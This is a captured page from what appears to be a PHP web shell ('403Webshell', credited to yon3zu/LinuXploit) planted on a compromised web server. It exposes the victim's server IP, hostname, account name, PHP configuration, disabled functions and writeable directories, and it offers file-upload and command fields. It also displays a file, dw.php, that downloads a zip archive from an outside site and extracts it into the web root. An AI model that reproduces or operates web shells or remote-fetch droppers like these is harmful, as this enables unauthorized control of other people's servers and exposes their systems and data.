403Webshell
Server IP : 91.220.113.119  /  Your IP : 216.73.217.69
Web Server : LiteSpeed
System : Linux milad313-ded-e10.tidadns.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : maralloab ( 1965)
PHP Version : 8.1.34
Disable Function : mail, show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maralloab/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/maralloab/public_html/dw.php
<?php

// Initialize a file URL to the variable
$url = 'https://dl.20script.ir/wordpress/BeTheme-Final[www.20script.ir].zip';

// Use basename() function to return the base name of file
$file_name = basename($url);

// Use file_get_contents() function to get the file
// from url and use file_put_contents() function to
// save the file by using base name
if(file_put_contents( $file_name,file_get_contents($url))) {
	echo "File downloaded successfully.<br />";
}
else {
	echo "File downloading failed.<br />";
}

// get the absolute path to $file
$path = pathinfo(realpath($file_name), PATHINFO_DIRNAME);

$zip = new ZipArchive;
$res = $zip->open($file_name);
if ($res === TRUE) {
  // extract it to the path we determined above
  $zip->extractTo($path);
  $zip->close();
  echo "WOOT! $file_name extracted to $path";
} else {
  echo "Doh! I couldn't open $file_name";
}
?>


Youez - 2016 - github.com/yon3zu
LinuXploit